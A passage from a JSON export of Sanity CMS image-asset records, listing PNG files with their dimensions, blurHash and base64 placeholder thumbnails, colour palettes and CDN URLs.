#7e4e39","foreground":"#fff","population":7.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b6a8","foreground":"#000","population":1.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb574","foreground":"#000","population":1.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87965","foreground":"#fff","population":7.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19349","foreground":"#000","population":6.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Andriy Redko.png","path":"images/sczeoy4w/production/5f489db05f5ace73ed6cf2a59a40c709f2356061-512x512.png","sha1hash":"5f489db05f5ace73ed6cf2a59a40c709f2356061","size":413105,"uploadId":"XF89Sq7Ymx4NHTEnkU8iWir6atrHEwIT","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f489db05f5ace73ed6cf2a59a40c709f2356061-512x512.png"} {"_createdAt":"2022-12-08T13:42:02Z","_id":"image-acb584df0bd95b5c9d345a1e5671e959b046cc4b-512x512-png","_rev":"VrdcoLtXxUWed6PHr4DIPl","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:42:02Z","assetId":"acb584df0bd95b5c9d345a1e5671e959b046cc4b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGGH_MnTbd?v}@[u-:TK-WofKPV@ivs+Irbdf5n+R-s*M}xss:WCtR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEYklEQVQ4jRXLWW/aBgAAYP+lPUzaw6auS9OQNAkkgDkMxgbMZTAYY7CNuWwwmCtc5jI3ORpICS3J0kbttEybNE37UdO+9w946t1+nX/6ffVl07+S8DihgwitldQjCZgoxaVRubdW5p8G63FhmXTWI2CJMpdpqEzbZdohA7vO9efJ/dfrx1VnLnijwVNT6NRCG9w5ONYgpLnQ2rYmD4ObSXHGuaohgxgG86SlQEISaZP+z7+OPnxefLxujNNuwn8CRnS2rBVvoszIn10x8nOt9zK5XHeWGbzq06d8Bj5oyoTMuZBFAB67t4/Du1+nm8vaMIkGfccgbUArjvAIo29wdhvLfCvI/84nL+9XzaziM3HOM9pnZAkzH4VSwJP64WGw2qmrRbnHOAKeI2PcgFZhfOAMLrDwmqB3HPdXr/7P5mreUEM2HtWShDmWczFVnAWeRpuHwXrbv5kVlYTdj2n0tM5WhTDF5hnCvpsg9SEee66Lf1wNVLnlt7DIaZiBo10ysWQTwIO62Q3utt2bWbHD2HHsQM+dQQrsG8GBGRr6SPPPQvbPbvm3cbsaFxFt1H5MMPbIIErf8gngabLbqffb3u200GFg3H2g586hLuwdQp6Rw39HMc9i9u9u9UuznnJyZk3YchSJWKOdCL3OcMDT9OFhvNsoq376gjJjyP5Z5NQsm5AmCLfMDtXrW7Gxx6IwZgqB87j+TQQ8jOFWrk0md8Uc8HGw3fa31/XLKin6T222PZ3/nUkA4ZYV6ViRsT/wnmcVKk2YWHA/pv2FNBwyQVjoJYQvFyVg092s2quJpOa8HHZkQzVm8hyRIFcHdg1Rzx3Hbitl3pc524+9e0Udv44ajnnKmR8nha+dCnBVXy5qi3amF3cJbh0dBCkOJouwr2FzDjDvp6Kw6bZiVEmjz+4d8gdvWVCXZd3ZOZ/61q0A/dzggusk8YrLUoD0JTckh1AhhVBVBzYM4tuaNFaaeLFzQHVe+dsatA7ZpbSHu0zzL6MGcBHvpr2VEJR2mTnImDIaRBskRVypcoCaJ+h1UWxVKowydtemoDix5ucBtiVFuPdi6mXSApKomERlDitEXLzNROt0jMXM+DxsgcsvxMJCEFq1RvPyttSf0mKLaMxSyqSdz69KuV2zBNgPsbA1zfhKXgev09MnBhaGw16cpJJFOVcrinJCGRdW9+WBmkhJkXI7P53OVGVdk6apBKD5ETQeh5xWzqgn32ipQ0sCwcJENO6kikj8wi224KbKL5aNkcJlsnhGTA4H46vpsiY1Qz7g1Q/G0wMXYgrrz/DXJ8T+eRC04x5SgOLtd9zQUFBRuZdRh71FJytnUS7pLNeF4bAuZsoYDPz8E2zVYoQNtxn8hyeBvSPn3plfE6hoc0td6coqz/D6hJksxMsR3ZQhLmnOFKLtfj6TkhEL8HbP7zWFGDjgBb3nJ57X+8j3R8R3XuWNfG+vX4flIdNQqfEyPJ1itYqWTBwn8nh/UZalMmr5D8suRzWcj12nAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563437","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#31496e","foreground":"#fff","population":7.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#946167","foreground":"#fff","population":7.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9eabc8","foreground":"#000","population":1.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d2a69e","foreground":"#000","population":2.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946167","foreground":"#fff","population":7.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1faece","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ryan Skraba.png","path":"images/sczeoy4w/production/acb584df0bd95b5c9d345a1e5671e959b046cc4b-512x512.png","sha1hash":"acb584df0bd95b5c9d345a1e5671e959b046cc4b","size":298770,"uploadId":"lmvsAw25fO0uhluT8x6eFXmm1HCp5Y92","url":"https://cdn.sanity.io/images/sczeoy4w/production/acb584df0bd95b5c9d345a1e5671e959b046cc4b-512x512.png"} {"_createdAt":"2022-09-30T15:36:11Z","_id":"image-ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb-1859x2534-png","_rev":"vDQRRYe9nRreptIRp5kCPE","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:11Z","assetId":"ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d03bp_%NepxbVut8x[ofM_s;oNoLjGt7oKoft7WBkAWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7336227308602999,"height":2534,"width":1859},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAbCAYAAAB836/YAAAACXBIWXMAAA7DAAAOwwHHb6hkAAADVElEQVRIiZVVR5LcMAzUE7xhlJhJhQnecvr/29rVAMmdLZ98QEmCwCbQaIJDDhEp7YjphAsbjMtYbYKptqwBl8ni7X3B22XBOFvMi8e8BiwmYFk9psVhnB2mxWNwPiHEHSEdsC5LYPvJd/22eB9XXCYji6fVSwz9k8QqIDceQihwoSCWK9J2g/EZY11kfIKJGYsN4ptNgAlZbDIEtZiNxxoSFqcxQ867AG7HA7fHL6TtqlkRwAYJlMWLxbg6zC6I8f0yN5/vMYMPG6zP2M/veHz8Qd5uUgI5e32f/9sG4wusLwJ4vf+Aj7tw8comVHt9m/HyNsvzq2/qPsYzZrDMMGzSFIKxc+SGJC8mYrVRGsRvUkEF0K9NcRLPmEbTENIpgKtLWCwBAozVIEqITWJzLJsXuXlRaTn6Nvi0q49xIbcMq8MluJARYoaPmwC4SKAClzaEfHwChAKfD2mi+KL6BpGCzz0DH4tYLBoc8yGA/B/LKU0jPeSe8Xm7dVDiDPPqlcN8SgYtWwZLRnHH6jIWKbHIQp4olsw4n/aeNSmTDCnqst8VkGWm/Ut5q/DIKpQGvhOQwC5qZq0HFfDEdj566gTke95vtWRVAsvjAWDJ2pTyLyCPGLMSvsrZSyYF5biLv/kIuF8/EPOpiuhZatYdsBHcFvLJkgn6XGLjUGioHDpSVE+bcbVkBjE7pm9rEHmVCdQkVTfq71E3TVUJMe/y7Bwe1w/k/d4XxWcOq1YZRwACNV1ux6PaXZ5SMjNkUxqgcFMb03mtI45qSOWq0uEQdlnmqBqFvQYtMZ/aYRHxp9CF28ovNUkaaM5vGCcnw+HZFJBnsvKnHH4KVkCTAhOIGXNz6zdcRouX1wnfXsZuKht2ld3zRYbC6mLPhsO3DQmCsWTKh8p4H82X7AiugNSdAGa9eEydNBSrCZitx+p1E2YnwrZJ755ZxxpHHDdQHYpA9W6RAcFyq75cLvAPNZepNx3IXNNGnJXvLHdOz5AAzDJRGk+WzxPl94H0cxdwDgoRtQg7ddF/OXpyCp5GGDPt72zIVsR8ZuZ6qcnJeBJ7B2zXYztKfXLX7+Zr51vmIadS/adK0AFBvgfecASgU85unXX8Fok8HcF2JAnCpjBO5cWBq4B/AZpR2or0zOACAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c743c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121304","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#38862a","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa5ab","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4df9a","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a7942","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#38862a","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb-1859x2534.png","path":"images/sczeoy4w/production/ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb-1859x2534.png","sha1hash":"ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb","size":393052,"uploadId":"Vs0PlRCbREAc2ABI5NxEFgySzbkGSNmb","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee2e409a9dbb1a29768a0f922dfee4ef9bcc66bb-1859x2534.png"} {"_createdAt":"2022-06-15T20:01:40Z","_id":"image-c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhWSn","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:49Z","assetId":"c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7LepdL#dB.8QSflMd.8tRRP8wLgiwRjf5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokR3L608SAQAA8PsurxkqPhKONiWOQ9FSgePAcyvb1IXmA22m9kVzth5uZaYzQJfaml90tZlrloDKHdwL7o6D4+DAqObf1Gj7ff0BkaamhB2Ot7fFTMZz0BQ3g0lja7JOn9Cok2oVqVHTej3b3Jw2GXkQ5M2gcAsUzeZMFQiQjs78+CPhwSCLuBnUk/J52d4e8mZLNatqkrW1VHe3MDuXf7VaePuu+H6jtLFZWt8orq0X3qwBNGQVBzDO2UfBtqQdTjg68fa2yzo9rlElVTV4fR0xPJI5/KqwfIkTCxQrk0xZkK6kYjlXABiLhXf2cXfvMLCNtMOEHY4ZWyMa9aWqJvE/x/2j/MmpzIlyNELt7/4MhhPfTiVJUSrXAAtZRdSTHcBErJ/HMNaL4rctEZ3uQqNOajW4oSHu9/PH32UcL+xtUa+Xjxbmj56/ZC4I5eovkOqwi1402+8Tsf7cyHBmaIh2OQmLhbFBGYeDd7vSi0vS2XmBIJRPIWFz9WR56WjlBR2LV3PG61WmA8rUZHFyorL87Gppsfh0vjAzU5qa+j0392dlpfL5oJLiFSGrRM+yhwf4x13iy3E2ky9VroF0b4886pdH/Xn/w8J0QJoYl5/MlhfmS2NjpZERJRBQtoK/EmQ5IylcRibpHEHJaVGRFEUuAyQE8SgqeJA04kohbtrlFO7fyw8PSRiWc7tFFBVnHhdD4eLefj60LQW35dCOHNqRguHchzBwCYKUHWY6O6guB9nloLu7BC8qoh6xt0dCkByC5Hy+/OCg6HZxsI2DIM4GcRCUhqwpyAr80GkjN2qj9fqowRAzNOCNjZTJxJiMdEszazKmQZADQd5kTDXUszotq9WmdFWsVsNqNf8AJO0pqdTgoEsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#920706","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c0807","foreground":"#fff","population":7.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b40c0c","foreground":"#fff","population":11.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb1a8","foreground":"#000","population":1.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e75650","foreground":"#fff","population":1.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b40c0c","foreground":"#fff","population":11.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405.png","path":"images/sczeoy4w/production/c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405.png","sha1hash":"c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa","size":105765,"uploadId":"8OQ02H1EpgCIL9dcslr5lKr5FRjHCorq","url":"https://cdn.sanity.io/images/sczeoy4w/production/c1b88e99f148bc1bcf4cd8160d13cf1566f2f1fa-752x405.png"} {"_createdAt":"2022-06-15T20:01:41Z","_id":"image-87d8cd6d88f192eda101ca59c914ba91e87add81-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEazY8","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:05Z","assetId":"87d8cd6d88f192eda101ca59c914ba91e87add81","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MONK9i-;D%?bWB~qoMWBWAoLogs:j@a#V@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACI0lEQVQokT3PWW/aQBSGYf/pSL2LqkptL1KgRBDoReMSpSEBAl7wwpIgvIw9XrANjhkv44Ulyb+ogLaPzu2rT4fY7/eveb5L0zw9yLJsU2y2xWZTFEWe51mWYhxH8elChBzHURR5Mh4NWYbYFZv9apVD3YMHzmIRR3GRHbIsTVOMcZKkGG+32/f399f9HiGkaWAkijQ1IIosS10nUBVTVTWgGYbx4vtJHOMkSeLTYJRivNvt3t7ecJLoujaZjBma6nU7RIqx73kQaLIkqaoKALAtK0ToWEZRGIYIxVGE4yRCCOoazw1petDvdTudeyLLUt/3oQ6luSTNJUVRTMMMgiCO41MfohAFwcty6doWUKSnyXgkCizLDPo9Aid46Xo60ORjqSiKLMmWaa6D9WkZrdeBv/Id2zU0S5XBfPY8nXDckBr0idVypcjKWBzxHD8SRZ7nWZadTqdQh5Zl2ZZl2/bSddDSRY7lGxqU5yI37HYf7n7fEhBCQRDa7TZJktfXP1v/3B51Oh1BEAwIXzzkQR9On5mH9o+r+mX1e71eIzRNo2maJK9rtVq1Wm02m/V6vVwulculSqXSaDQeH3uqChZWpDz5dOuh8unjh7Oz8/PzUunisDybzQSBZxiGoiiWZWma7vcfj9dnGOb0gusGEHjUfe/y28XXL5/L5VKzcUWYpmkYhq7r2hH4S/0PAAB1aNu2ruscN2zf3d7c/Gq1yFaL/APtw/gyaOnsqwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393939","foreground":"#fff","population":5.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e3b8a","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#393939","foreground":"#fff","population":5.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6bbbd","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e8e3","foreground":"#000","population":0.85,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#906c63","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e42b9","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"87d8cd6d88f192eda101ca59c914ba91e87add81-752x405.png","path":"images/sczeoy4w/production/87d8cd6d88f192eda101ca59c914ba91e87add81-752x405.png","sha1hash":"87d8cd6d88f192eda101ca59c914ba91e87add81","size":131852,"uploadId":"yY2jScBacTQXrKsLA49T9q40Hr7j0Kz4","url":"https://cdn.sanity.io/images/sczeoy4w/production/87d8cd6d88f192eda101ca59c914ba91e87add81-752x405.png"} {"_createdAt":"2022-09-30T15:36:13Z","_id":"image-897121af3cb3da563cc0349f739cc41bb83e682c-1567x844-png","_rev":"XMqVxILwpPMz4xYxc7p772","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:13Z","assetId":"897121af3cb3da563cc0349f739cc41bb83e682c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIS2h~{M[B3q+Z$,oeb=ain5:*K5Or#RS~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACaElEQVQokS3SX0hTURwH8Huv7u5enXPp5sA/qIkPYk8GMSNR6J/4IETYQ+9R9FaCu/fqXZsrc6vNvO5fczpn5iqDXFiETxEYWU+9RDLKoEJJJ/kv/8x7v3Hn4MuBw+HDOXzPjwBHQaDRzaCHhaBRt1YyEyITcs9KL1lLklz1qlCcFjWKM1fxMAjo4NcRqnSa0F8Ndy36K+E0w2YAT6ueo2RBu9Zj/uxs/uS99Es6uS2V/fMZ90NFSqAAAyyBbh08dXjYgpFWRM4h1ARPfcZTsshs3a1Kes7MBjpfj3vmJ24uxNp/RFv+RuvlIQOcmgz2HkPkLMbaEWvHaBuCTeivUkSt3Jufkho+Rq6/jIenX0zNTHjex658jV9cfWbZD5vkDM6Dqwb+RoSaVRY4BV8jXEcVkVUc9NpA9Tv/5aexYCKReDPp+hJtXRmrT4UqN92GtE1DgMuBqIPdCIdJXe1G3DIqYsEur920s8tS2VzwfDzIj4/6p4e575ETW77i1G39usCmu6hspejKJNszmbZSqa68RYdpMVyVnGx4G+2I+cXnoc7kuGU9bN5w63dFWuFVTKqXq6HAZbHMURu2vGXJ/CdesTpdN/+4IzLY/cR3deHR8ZVI6fq9wnQfAxdDgMuFTQ/7EfXxfE72e3nywMXsTxp3ZsqXEpbZ6LVh941XA22/YzXbI8ZdSS8P6RAoIMBr0VuCO6VwFKlDcog5En20Ei3cmyr7OWH54L8wd//0t8HanVCR4stXPCxcWvTRBKw5EBi1c0GbGa/DFgj0UHAzBz7DplS+5q3YeGDcG9IrXha9ueoRT4Ij/wMM62EeQQxhCAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#21302e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#872b0a","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":44.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baacd8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c577","foreground":"#000","population":0.73,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927655","foreground":"#fff","population":1.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":44.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"897121af3cb3da563cc0349f739cc41bb83e682c-1567x844.png","path":"images/sczeoy4w/production/897121af3cb3da563cc0349f739cc41bb83e682c-1567x844.png","sha1hash":"897121af3cb3da563cc0349f739cc41bb83e682c","size":378096,"uploadId":"Fg4DItBokHJgcFnVETDO5abkdEHHr4kw","url":"https://cdn.sanity.io/images/sczeoy4w/production/897121af3cb3da563cc0349f739cc41bb83e682c-1567x844.png"} {"_createdAt":"2022-06-15T20:02:41Z","_id":"image-df5340822918a4a164a295d82d3d7ef1999dae66-1567x844-png","_rev":"lf1jOsEAA7PAFZMZhZooHc","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:58Z","assetId":"df5340822918a4a164a295d82d3d7ef1999dae66","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MiP6dQ?woz9a-oTLNGwIkCbv-oITayxuNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADRklEQVQokTXO708bdRwH8PuLjCGZSjS6iOLqptPok7kH1Rk1Jhh1WkdoWclaYRWGTFimRQdMJoMVRqpL3Qb9BZRfo03pqL32ru21dy27+37vSu8KK6yfjxnGB++88n7yzpspiOQsly2NcNnSNMdLt9Jc0ZPmRM9TU6xwaFGinm256ilKxJMXyh5RIp4MX/TE4skZns1PK7w0rXLCdSoKXcw/qfxvS8sb6VB4VQ0trCrB8AoJhVdJMLRC5vyLZHHpAWEzBSKWKNlMpMi8P0T8gQXi890nd6dvk8zMLKn+cZMa3tlclV33Mqm0MBVZjlJ/YAn9wQgGQssYDC1jIBg57GsPEpgTHmG+8Ajn/SH8+Rc3Dlz+Cft7+/CGqwezA71Yv+jE+vCV6m5iIciIEr3J50pyKl3AVFposJkC/J8MXwRRUoAqKrBbCRgfGwWn0wkOhwMu2O0w7OqGrTF3o3blMu67r6r1+OI9RibGpEwMRSYGysSA/9RRITqqlV3Ud3SsCZv48C83Dnbb0G4/j3a7Hb+zWNDW0Y6/9vbAfFcXJlw9Gon47jEKrU0qtKYotIYKrYFCDSTUQFXVUdf3cK9CsB6/jdz4tzjcY8Fz59rRbDajyfQmvt76Br59/AR8eOItdH56RlubHbnPKNSYVKihPH1ESLVBSQU0qoGuabCnV6GuStCITYDqtcOfI/3w1dffwGutx6DpSDM0HXkBXnm5GU4ea8a2j97V/r4xdJchys4kUSoyVVRUZaWxI2+DrpRgj4iHYwfbLMD6NTDudEJkahAc7WfB1PIqPNv0HLz04vNw+mRTo+3UM9jxuYn6fh/wMlqxMEXyWSLnedREHmplHh+X07hfSuJBOYkNYQ0hfAmNcTNy175A3/efYPsHx/E9Uwua329By8dH0frZUbxoOUWDt67OMHo6PkS2NqLl5EZWzcZTj8WH7IG0yT4RoyxIsTRkF7Iw7xDq7taC7n4nL45+mZsb6siN9tly13+05SYGrdmJoU7hztilGLc062Z2c4nTVS7WWeGjjlo+ZjsQY1YQo1YorltB3DiP2VA3zHX1w6hpALxtfU+i465acs5VSQZdWjLgUrcCLi0Z/EFnw137uZUz/wIwEammE3LnQgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473d3b","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#214799","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2841c","foreground":"#000","population":3.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca9a94","foreground":"#000","population":0.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8e0c0","foreground":"#000","population":2.18,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c84ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2841c","foreground":"#000","population":3.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"df5340822918a4a164a295d82d3d7ef1999dae66-1567x844.png","path":"images/sczeoy4w/production/df5340822918a4a164a295d82d3d7ef1999dae66-1567x844.png","sha1hash":"df5340822918a4a164a295d82d3d7ef1999dae66","size":556535,"uploadId":"rIaXhrWUiD9rVh10gy1mdipRXS54Afiu","url":"https://cdn.sanity.io/images/sczeoy4w/production/df5340822918a4a164a295d82d3d7ef1999dae66-1567x844.png"} {"_createdAt":"2022-09-17T21:00:17Z","_id":"image-00cad237865c7c38adb32faff427482dfdd42e61-3133x1688-png","_rev":"oP937kX6v07bcvrIPZSlqh","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T21:00:17Z","assetId":"00cad237865c7c38adb32faff427482dfdd42e61","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7BZ,ksMxxYWB.T%1M{W?aet7oeWYjsj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACU0lEQVQokS3Ra0/aYAAF4NIrbsMAlmg0c27Qt2/LRSjQQqXEbI7iLqAol5aWFkvZUNnFZNmMEedgasyy/eWlxOT5ej6ccxAyNQoIp8HsOCicBoWTsDCKZD/QghtOHYWSdjhp0SkrsmlF0v1A0sF4F+GHPt71cQMf5yC0NOaq55naZaY+ydSvNmuTXOO62JrKrWlu7zLz7lysX4i183z9Aux8CwgjlB+ivIvCPsZayFP5RN6/UI1pxfy9rc+K7dl2714d/N11/+3Yf8rG3Uvrftu8K3fvsge/Nl59X8yP8cQQhQ4Kj5B1aVja+1Ht/qzo1+XWlbQ/KWszRZvJ7Zmi30qdG1m/3dJupOY027hO1Sarylcq4c7DDhLijXXRicofn8ujZ/LxWmG0Jp+uyJ8ixc/LpbNI6Wx568uqPF6Rjj3iKLTp+IFBMl2S6SJUTPMzGgUMgrVIaBPQxjgH5Qdo3PW68S7KDTDYJ0CPBAbF6P5o2/+iRc0hOOhhHgtl+yjsexvyQ2/SeYaCVoA3grwe4tph2AyzhzRo0GxjiT0MwyZCAJMExpyJsRbKOd4T/ACFDg5tOqElc/WC+KaQV4s5tZCvFnNqMa9K4q4ovUUWQYeG2lK8G4A6xegEY+BsD2ctjLUJaK2mtS35fVWpVEuvHyiVqlJRlYpariIR0FxP6GtpKxg3FmIdKtohmS7Oei1waAfjxka6yQoN8OAAZA+ZbJPJNUH2AHnMaIuw+4QzKdgjgIkD00tCx8e5GDwigbEQaz+KtRaYth/oFDAotkdxfQ80/wNk3Jm9S0QG5wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282d5c","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b3ce","foreground":"#000","population":0.71,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc547c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647490","foreground":"#fff","population":1.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7700b","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"00cad237865c7c38adb32faff427482dfdd42e61-3133x1688.png","path":"images/sczeoy4w/production/00cad237865c7c38adb32faff427482dfdd42e61-3133x1688.png","sha1hash":"00cad237865c7c38adb32faff427482dfdd42e61","size":145386,"uploadId":"OCqEEP3EHKlMVfXXiPlschMpiiGN5Dtq","url":"https://cdn.sanity.io/images/sczeoy4w/production/00cad237865c7c38adb32faff427482dfdd42e61-3133x1688.png"} 